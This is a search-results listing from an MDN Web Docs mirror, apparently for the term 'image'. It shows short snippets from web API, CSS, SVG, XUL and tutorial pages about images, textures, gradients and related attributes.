homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a url string of the source image.
... sizes: optional a string representation of the image size.
... type: optional the mime type of the image.
...And 3 more matches
EXT_texture_compression_rgtc - Web APIs
constants the compressed texture formats are exposed by 4 constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... ext.compressed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of unsigned red image data.
... ext.compressed_signed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of signed red image data.
...And 3 more matches
HTMLInputElement - Web APIs
properties that apply only to elements of type image alt string: returns / sets the element's alt attribute, containing alternative text to use when type is image.
... height string: returns / sets the element's height attribute, which defines the height of the image displayed for the button, if the value of type is image.
... src string: returns / sets the element's src attribute, which specifies a uri for the location of an image to display on the graphical submit button, if the value of type is image; otherwise it is ignored.
...And 3 more matches
WEBGL_compressed_texture_s3tc - Web APIs
constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... ext.compressed_rgb_s3tc_dxt1_ext a dxt1-compressed image in an rgb image format.
... ext.compressed_rgba_s3tc_dxt1_ext a dxt1-compressed image in an rgb image format with a simple on/off alpha value.
...And 3 more matches
WEBGL_compressed_texture_s3tc_srgb - Web APIs
constants the compressed texture formats are exposed by four constants and can be used in two functions: compressedteximage2d() and compressedtexsubimage2d().
... ext.compressed_srgb_s3tc_dxt1_ext a dxt1-compressed image in an srgb image format.
... ext.compressed_srgb_alpha_s3tc_dxt1_ext a dxt1-compressed image in an srgb image format with a simple on/off alpha value.
...And 3 more matches
WebGLRenderingContext.bufferData() - Web APIs
possible values: gl.static_draw: the contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.dynamic_draw: the contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.stream_draw: the contents are intended to be specified once by the application, and used at most a few times as the source for webgl drawing and image specification commands.
...And 3 more matches
Compressed texture formats - Web APIs
note that this advantage doesn't translate to network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as png and jpg.
...ext.compressed_rgba_s3tc_dxt1_ext for the webgl_compressed_texture_s3tc extension.) these can then be used with compressedteximage[23]d or compressedtexsubimage[23]d instead of teximage2d calls.
...which formats support texture_2d_array and texture_3d targets (in combination with compressedteximage3d) are noted in the following table.
...And 3 more matches
ARIA Test Cases - Accessibility
expected at behavior: when focus falls on a button, a screen reader speaks the text of the button plus alternative text of any images within the button (the accessible name of the button).
... at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - img tiled image expected at behavior: screen readers should announce the image is a single graphic element along with its associated label, even though it is built from numerous sub-images.
...jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - radiogroup and radiobutton radio example using css background images radio example using img element radio example using aria-activedescendent property dojo nightly build expected at behavior: on initial focus, the screen reader should announce the label of the radio group and the focused radio button, whether it is selected or not, and its position.
...And 3 more matches
Accessibility and Spacial Patterns - Accessibility
the two images below are from nasa research, specifically, from the article, "designing with blue" "spatial localization.
...the phenomenon seems to be especially problematic for symbol/background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
... stripes and patterns are typical of the kinds of images that create problems, and stripes have been studied most closely.
...And 3 more matches
additive-symbols - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax [ <integer> && <symbol> ]#where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...)<image-set()> = image-set( <image-set-option># )<element()> = element( <id-selector> )<paint()> = paint( <ident>, <declaration-value>?
...And 3 more matches
negative - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...)<image-set()> = image-set( <image-set-option># )<element()> = element( <id-selector> )<paint()> = paint( <ident>, <declaration-value>?
...And 3 more matches
pad - CSS: Cascading Style Sheets
formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... [ <image-src>?
...)<image-set()> = image-set( <image-set-option># )<element()> = element( <id-selector> )<paint()> = paint( <ident>, <declaration-value>?
...And 3 more matches
CSS values and units - CSS: Cascading Style Sheets
for example, if you wanted to include a background image, you might use either of the following.
... .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exammple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted.
...other possible combinations are as follows: <frequency-percentage> <angle-percentage> <time-percentage> special data types (defined in other specs) <color> <image> <position> color the <color> value specifies the color of an element feature (e.g.
...And 3 more matches
Mozilla CSS extensions - CSS: Cascading Style Sheets
b -moz-binding -moz-border-bottom-colors -moz-border-left-colors -moz-border-right-colors -moz-border-top-colors -moz-box-align -moz-box-direction -moz-box-flex -moz-box-ordinal-group -moz-box-orient -moz-box-pack c–i -moz-context-properties -moz-float-edge -moz-force-broken-image-icon -moz-image-region o -moz-orient -moz-osx-font-smoothing -moz-outline-radius -moz-outline-radius-bottomleft -moz-outline-radius-bottomright -moz-outline-radius-topleft -moz-outline-radius-topright overflow-clip-box overflow-clip-box-block overflow-clip-box-inline s–z -moz-stack-sizing :-moz-system-metric(images-in-menus) :-moz-system-metric(mac-graphite-theme) :-m...
...ion-break] -moz-background-sizeobsolete since gecko 2 -moz-border-end [superseded by the standard version border-inline-end] -moz-border-end-color [superseded by the standard version border-inline-end-color] -moz-border-end-style [superseded by the standard version border-inline-end-style] -moz-border-end-width [superseded by the standard version border-inline-end-width] -moz-border-image -moz-border-start [superseded by the standard version border-inline-start] -moz-border-start-color [superseded by the standard version border-inline-start-color] -moz-border-start-style [superseded by the standard version border-inline-start-style] -moz-border-start-width [superseded by the standard version border-inline-start-width] -moz-box-sizing [prefixed version still accept...
...ixed version still accepted] -moz-transition-timing-function [prefixed version still accepted] -moz-user-select values global values -moz-initial -moz-appearance button button-arrow-down button-arrow-next button-arrow-previous button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar -moz-win-borderless-glass -moz-win-browsertabbar-toolbox -moz-win-communications-toolbox -moz-win-glass -moz-win-media-toolbox -moz-window-button-box -moz-window-button-box-maximized -moz-window-button-close -moz-window-button-maximize -moz...
...And 3 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
ebkit-margin-after-collapse -webkit-margin-after -webkit-margin-before-collapse -webkit-margin-before -webkit-margin-bottom-collapse -webkit-margin-collapse -webkit-margin-end** -webkit-margin-start** -webkit-margin-top-collapse -webkit-marquee-direction -webkit-marquee-increment -webkit-marquee-repetition -webkit-marquee-speed -webkit-marquee-style -webkit-marquee -webkit-mask-box-image-outset -webkit-mask-box-image-repeat -webkit-mask-box-image-slice -webkit-mask-box-image-source -webkit-mask-box-image-width -webkit-mask-box-image -webkit-mask-repeat-x -webkit-mask-repeat-y -webkit-mask-source-type -webkit-max-logical-height -webkit-max-logical-width -webkit-min-logical-height -webkit-min-logical-width n -webkit-nbsp-mode p -webkit-padding-after** -webkit...
...animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-visibility -webkit-background-clip -webkit-background-origin -webkit-background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-clip-path -webkit-column-count -webkit-column-fill -webkit-column-gap -webkit-column-rule -webkit-column-rule-color -webkit-column-rule-style -webkit-column-rule-width -webkit-column-span -webkit-column-width -webkit...
...t-grid-gap -webkit-grid-row -webkit-grid-row-end -webkit-grid-row-gap -webkit-grid-row-start -webkit-grid-template -webkit-grid-template-areas -webkit-grid-template-columns -webkit-grid-template-rows h-l -webkit-hyphens -webkit-justify-content -webkit-justify-items -webkit-justify-self -webkit-line-break m -webkit-mask -webkit-mask-clip -webkit-mask-composite -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-repeat -webkit-mask-size o-r -webkit-opacity -webkit-order -webkit-perspective -webkit-perspective-origin -webkit-ruby-position s -webkit-scroll-snap-type -webkit-shape-image-threshold -webkit-shape-margin -webkit-shape-outside t -epub-text-decoration -webkit-text-color-decoration -webkit-text-decoration-line -web...
...And 3 more matches
color-adjust - CSS: Cascading Style Sheets
for example, when printing, a browser might opt to leave out all background images and to adjust text colors to be sure the contrast is optimized for reading on white paper.
... exact the element's content has been specifically and carefully crafted to use colors, images, and styles in a thoughtful and/or important way, such that being altered by the browser might actually make things worse rather than better.
... if the output device is a printer, and to save ink, dark or extremely dense background images might be removed.
...And 3 more matches
linear-gradient() - CSS: Cascading Style Sheets
the linear-gradient() css function creates an image consisting of a progressive transition between two or more colors along a straight line.
... its result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
...And 3 more matches
mask-border-repeat - CSS: Cascading Style Sheets
the mask-border-repeat css property sets how the edge regions of a source image are adjusted to fit the dimensions of an element's mask border.
... values stretch the source image's edge regions are stretched to fill the gap between each border.
... repeat the source image's edge regions are tiled (repeated) to fill the gap between each border.
...And 3 more matches
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
the mask-mode css property sets whether the mask reference defined by mask-image is treated as a luminance or alpha mask.
... values alpha this keyword indicates that the transparency (alpha channel) values of the mask layer image should be used as the mask values.
... luminance this keyword indicates that the luminance values of the mask layer image should be used as the mask values.
...And 3 more matches
object-position - CSS: Cascading Style Sheets
| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples positioning image content html here we see html that includes two <img> elements, each displaying the mdn logo.
... <img id="object-position-1" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> <img id="object-position-2" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> css the css includes default styling for the <img> element itself, as well as separate styles for each of the two images.
... img { width: 300px; height: 250px; border: 1px solid black; background-color: silver; margin-right: 1em; object-fit: none; } #object-position-1 { object-position: 10px; } #object-position-2 { object-position: 100% 10%; } the first image is positioned with its left edge inset 10 pixels from the left edge of the element's box.
...And 3 more matches
repeating-linear-gradient() - CSS: Cascading Style Sheets
the repeating-linear-gradient() css function creates an image consisting of repeating linear gradients.
...the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
...And 3 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet.
... /* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-hand properties */ background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 f...
...ill / 30px / 30px space; /* as a parameter in another css function */ background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
...And 3 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
for example: resources that are pointed to from inside css, like fonts or images.
... larger images and video files.
... image: image file.
...And 3 more matches
List of default Accept values - HTTP
user agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter.
... (source) safari, chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* see ie and the accept header (ieinternals' msdn blog).
... edge text/html, application/xhtml+xml, image/jxr, */* opera text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 values for an image when requesting an image, like through an html <img> element, user-agent often sets a specific list of media types to be welcomed.
...And 3 more matches
<mglyph> - MathML
WebMathMLElementmglyph
attributes alt this attribute defines the alternative text describing the image.
... users will see this displayed if the image url is wrong, the image is not in one of the supported formats, or until the image is downloaded.
... height the height of the image.
...And 3 more matches
Web Performance
we cover them in this section: key performance guides animation performance and frame rateanimation on the web can be done via svg, javascript, including <canvas> and webgl, css animation, <video>, animated gifs and even animated pngs and other image types.
... multimedia: images and video the lowest hanging fruit of web performance is often media optimization.
...in this article we discuss the impact video, audio, and image content has on performance, and the methods to ensure that impact is as minimal as possible.
...And 3 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
p clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unicode-bidi ...
... value: auto|srgb|linearrgb|inherit; animatable: yes color-profile deprecated since svg 2 it defines which color profile a raster image included through the <image> element should use.
... value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-background deprecated since svg 2 it tells the browser how to manage the accumulation of the background image.
...And 3 more matches
in - SVG: Scalable Vector Graphics
WebSVGAttributein
fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes sourcegraphic this keyword represents the graphics elements that were the original input into the <filter> element.
... backgroundimage this keyword represents an image snapshot of the svg document under the filter region at the time that the <filter> element was invoked.
... backgroundalpha same as backgroundimage except only the alpha channel is used.
...And 3 more matches
requiredFeatures - SVG: Scalable Vector Graphics
twentynine elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> ...
.../www.w3.org/tr/svg11/feature#svgdom-dynamic http://www.w3.org/tr/svg11/feature#svg-static the browser supports all the following features: http://www.w3.org/tr/svg11/feature#coreattribute http://www.w3.org/tr/svg11/feature#structure http://www.w3.org/tr/svg11/feature#containerattribute http://www.w3.org/tr/svg11/feature#conditionalprocessing http://www.w3.org/tr/svg11/feature#image http://www.w3.org/tr/svg11/feature#style http://www.w3.org/tr/svg11/feature#viewportattribute http://www.w3.org/tr/svg11/feature#shape http://www.w3.org/tr/svg11/feature#text http://www.w3.org/tr/svg11/feature#paintattribute http://www.w3.org/tr/svg11/feature#opacityattribute http://www.w3.org/tr/svg11/feature#graphicsattribute http://www.w3.org/tr/svg11/feature#marker http://ww...
... http://www.w3.org/tr/svg11/feature#containerattribute the browser supports the enable-background attribute http://www.w3.org/tr/svg11/feature#conditionalprocessing the browser supports the <switch> element, and the requiredfeatures, requiredextensions, systemlanguage attributes http://www.w3.org/tr/svg11/feature#image the browser supports the <image> element.
...And 3 more matches
<feConvolveMatrix> - SVG: Scalable Vector Graphics
a convolution combines pixels in the input image with neighboring pixels to produce a resulting image.
... a matrix convolution is based on an n-by-m matrix (the convolution kernel) which describes how a given pixel value in the input image is combined with its neighboring pixel values to produce a resulting pixel value.
... note in the above formulas that the values in the kernel matrix are applied such that the kernel matrix is rotated 180 degrees relative to the source and destination images in order to match convolution theory as described in many computer graphics textbooks.
...And 3 more matches
Creating a Skin for Mozilla - Archive of obsolete content
how to edit images, extract zip files, and how to modify css.
... mozilla uses standard gif, png, and jpeg images for the buttons and css to style everything else in the interface.
...you cannot change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
...And 2 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
for example, the items of the page's context menu change depending on what the user clicks: images have a context menu, links have a context menu, and so on.
...jetpack.menu.context.page is the set of context menus that appear on the page: the image menu, link menu, and so on.
... for example, jetpack.menu.context.page.on("a[href]") does not match images contained in links.
...And 2 more matches
treecol.src - Archive of obsolete content
« xul reference home src type: uri set this attribute to have the treecol element use an image for the header instead of a label.
... you cannot have both an image and a label displayed in the header.
... set this to the url of an image to appear on the tree column header.
...And 2 more matches
treecol.type - Archive of obsolete content
*/ list-style-image: none; } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells.
... cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a url to an image in your extension or elsewhere.
... */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells.
...And 2 more matches
Multiple Rule Example - Archive of obsolete content
"?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" class="box-padded"> <vbox> <label value="?title"/> <image src="?photo"/> </vbox> <groupbox> <caption label="photo details"/> <label value="?description"/> <label value="date: ?date"/> </groupbox> </hbox> </action> </rule> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" ...
... predicate="http://purl.org/dc/elements/1.1/title" object="?phototitle"/> </conditions> <action> <vbox uri="?photo" class="box-padded"> <label value="?phototitle"/> <image src="?photo"/> </vbox> </action> </rule> </template> </vbox> in this example, the first rule matches only those photos with title, description, and date properties.
...the resulting data will be: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = palace from above ?description = view from the top of the tower looking east of the doges palace, ?date = 2005-04-30t14:55:00+01.00) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?phototitle = palace from above) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/...
...And 2 more matches
XUL Structure - Archive of obsolete content
style sheets (css), images, and other technologies are used to control the presentation.
...the extensions are small packages of xul files, javascript, style sheets and images packed together into a single file.
... skin - style sheets, images and other theme specific files style sheets describe details of the appearance of a window.
...And 2 more matches
XUL controls - Archive of obsolete content
<button type="menu-button" label="new"> <menupopup> <menuitem label="new document"/> <menuitem label="new image"/> </menupopup> </button> more information about this type of menu button element.
... <filefield/> filefield reference <image> an image specified by a url.
... <image src="start.png"/> more information about the image element.
...And 2 more matches
caption - Archive of obsolete content
attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 2 more matches
menulist - Archive of obsolete content
attributes accesskey, crop, disableautoselect, disabled, editable, focused, image, label, oncommand, open, preference, readonly, sizetopopup, tabindex, value properties accessibletype, crop, description, disableautoselect, disabled, editable, editor, image, inputfield, itemcount, label, menuboxobject, menupopup, open, selectedindex, selecteditem, tabindex, value methods appenditem, contains, getindexofitem, getitematindex, insertitemat, removeallitems, removeitemat, ...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 2 more matches
menuseparator - Archive of obsolete content
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, selected, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value examples <menu label="menu"> <menupopup> <menuitem label="item1"/> <menuseparator/> <menuitem label="item2"/> <menuitem label="item3"/> </menupopup> </menu> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut k...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 2 more matches
prefpane - Archive of obsolete content
attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one" name="ex...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 2 more matches
radio - Archive of obsolete content
ArchiveMozillaXULradio
attributes accesskey, command, crop, disabled, focused, group, image, label, selected, tabindex, value properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes ...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 2 more matches
tree - Archive of obsolete content
ArchiveMozillaXULtree
*/ list-style-image: url("") } treechildren::-moz-tree-checkbox(checked) { /* checked checkbox treecells.
... cbox-check.gif isn't available in firefox 1, 2, and 3 in mac os x so you should specify a url to an image in your extension or elsewhere.
... */ list-style-image: url("chrome://global/skin/checkbox/cbox-check.gif"); } treechildren::-moz-tree-checkbox(disabled) { /* disabled checkbox treecells.
...And 2 more matches
nsIContentPolicy - Archive of obsolete content
type_image 3 indicates an image (for example, <img> elements).
... type_imageset 21 indicates a request to load an <img> (with the srcset attribute or <picture>.
... reject_server -3 returned from shouldload() or shouldprocess() if the load/process is rejected based on the server it is hosted on or requested from (acontentlocation or arequestorigin), e.g., if you block an image because it is served from goatse.cx (even if you don't necessarily block other types from that server/domain).
...And 2 more matches
Sunbird Theme Tutorial - Archive of obsolete content
to make a theme, you usually need these tools: a jar tool or zip tool an editor for plain text files software for creating and editing images note: some zip tools only work with files whose names have <tt>.zip</tt> at the end.
... modifying your theme to modify your theme, change the css and image files in any way you like.
...you might prefer to do some design work in an image editor first, so that you have a clear design concept to implement.
...And 2 more matches
Texel - MDN Web Docs Glossary: Definitions of Web-related terms
a texel is a single-pixel within a texture map, which is an image that gets used (in whole or in part) as the image presented on a polygon's surface within a 3d rendered image.
...this is one of the main differences between texel’s and pixels, pixels are image data.
... texel components are made up of subjective data, therefore they can be an image as well as a depth map.
...And 2 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
... multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes).
...images, videos, <canvas> elements, flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyboard, and we need to give them a helping hand.
...And 2 more matches
Creating fancy letterheaded paper - Learn web development
save local copies of the top, bottom and logo images in the same directory as your code files.
... add a background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the previous backgrounds that gives the letter a bit of texture.
... add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the previous declaration.
...And 2 more matches
Test your skills: sizing - Learn web development
try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
... task three this task has two images in boxes.
... one image is smaller than the box, the other is larger and breaking out of the box.
...And 2 more matches
Test your skills: backgrounds and borders - Learn web development
add a background image (use the url balloons.jpg) and size it so that it covers the box.
... the finished example should look like the image below.
... backgrounds and borders 2 in this task we want you to add background images, a border, and some other styling to a decorative box: give the box a 5px lightblue border, and round the top left corner 20px and the bottom right corner 40px the heading uses the star.png image as a background image, with a single centered star on the left and a repeating pattern of stars on the right.
...And 2 more matches
Styling links - Learn web development
the last rule however is interesting — here we are inserting a custom background image on external links in a similar manner to how we handled custom bullets on list items in the last article — this time however we are using background shorthand instead of the individual properties.
... we set the path to the image we want to insert, specify no-repeat so we only get one copy inserted, and then specify the position as 100% of the way over to the right of the text content, and 0 pixels from the top.
... we also use background-size to specify the size we want the background image to be shown at — it is useful to have a larger icon and then resize it like this as needed for responsive web design purposes.
...And 2 more matches
What do common web layouts contain? - Learn web development
in this example, look at the image (b1) right underneath the header.
... it's related to the main content, but the main content makes sense without it, so you could think of the image either as main content or as side content.
...because the image on the top-right is l-shaped, because b1 looks like a column supporting the shifted main content, and because the "m" and "i" of the mica logo create a vertical line of force.
...And 2 more matches
Choosing the right approach - Learn web development
yes (recursive callbacks) yes (nested callbacks) no code example an example that loads a resource via the xmlhttprequest api (run it live, and see the source): function loadasset(url, type, callback) { let xhr = new xmlhttprequest(); xhr.open('get', url); xhr.responsetype = type; xhr.onload = function() { callback(xhr.response); }; xhr.send(); } function displayimage(blob) { let objecturl = url.createobjecturl(blob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); } loadasset('coffee.jpg', 'blob', displayimage); pitfalls nested callbacks can be cumbersome and hard to read (i.e.
... single delayed operation repeating operation multiple sequential operations multiple simultaneous operations no no yes see promise.all(), below code example the following code fetches an image from the server and displays it inside an <img> element; see it live also, and see also the source code: fetch('coffee.jpg') .then(response => response.blob()) .then(myblob => { let objecturl = url.createobjecturl(myblob); let image = document.createelement('img'); image.src = objecturl; document.body.appendchild(image); }) .catch(e => { console.log('there has been a problem with your ...
... on what type of file is being fetched, use the relevant function to decode its contents if(type === 'blob') { return response.blob(); } else if(type === 'text') { return response.text(); } }) .catch(e => { console.log(`there has been a problem with your fetch operation for resource "${url}": ` + e.message); }); } // call the fetchanddecode() method to fetch the images and the text, and store their promises in variables let coffee = fetchanddecode('coffee.jpg', 'blob'); let tea = fetchanddecode('tea.jpg', 'blob'); let description = fetchanddecode('description.txt', 'text'); // use promise.all() to run code only when all three function calls have resolved promise.all([coffee, tea, description]).then(values => { console.log(values); // store each value retu...
...And 2 more matches
Handling common HTML and CSS problems - Learn web development
so for example: mozilla uses -moz- chrome/opera/safari use -webkit- microsoft uses -ms- here's some examples: -webkit-transform: rotate(90deg); background-image: -moz-linear-gradient(left,green,yellow); background-image: -webkit-gradient(linear,left center,right center,from(green),to(yellow)); background-image: linear-gradient(to right,green,yellow); the first line shows a transform property with a -webkit- prefix — this was needed to make transforms work in chrome, etc.
... the third one has no prefix, and shows the final version of the syntax (included in the css image values and replaced content module level 3 spec, which defines this feature).
... resolution is a big issue too — for example, mobile devices are less likely to need big heavy images than desktop computers, and are more likely to have slower internet connections and possibly even expensive data plans that make wasted bandwidth more of a problem.
...And 2 more matches
Software accessibility: Where are we today?
these applications assumed that computer users could: read and react to text and images displayed on the screen.
...screen magnifiers also have some built-in text-to-speech and the ability to filter text and images through various color palettes, such as black on yellow for high contrast, or green on blue for low contrast.
...when the user types something on the keyboard, or when an application displays text or images on the screen, the exact meaning of these actions is determined by the context in which they take place.
...And 2 more matches
Gecko's "Almost Standards" Mode
a common case that this affects is the layout of images inside table cells.
... this means that sliced-images-in-tables layouts are less likely to fall apart in gecko-based browsers based on the rendering engine found in mozilla 1.0.1 or later when in either "quirks" or "almost standards" mode.
